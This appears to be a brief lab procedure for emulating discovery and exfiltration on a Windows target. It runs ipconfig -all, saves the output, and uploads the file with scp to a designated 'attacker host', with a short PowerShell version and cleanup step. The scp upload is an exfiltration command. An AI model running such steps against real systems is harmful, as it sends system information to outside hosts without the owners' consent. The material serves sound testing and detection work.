Environment
IP | HOSTNAME | NOTE |
|---|
| Lab environment/172.16.103.14 | Win10 | Target host |
| Lab environment/10.10.10.85 | CentOS7 | Attacker host |
Related Scripts
Implementation Process
List Network Interface Information
ipconfig -all

Save to a Temporary File
ipconfig.exe -all > E:\TempProjects\ipconfig.txt

Upload Network Information to the Server
scp E:\TempProjects\ipconfig.txt [email protected]:~/tmp/

View the Network Information Obtained on the Server
cat ipconfig.txt | head -n 20

POWERSHELL Code Implementation
# Attack Commands:Run with powershell!
$save_path = "E:\TempProjects\ipconfig.txt"
ipconfig.exe -all > $save_path
# cleanup commands
if (Test-Path $save_path)
{
Remove-Item $save_path
}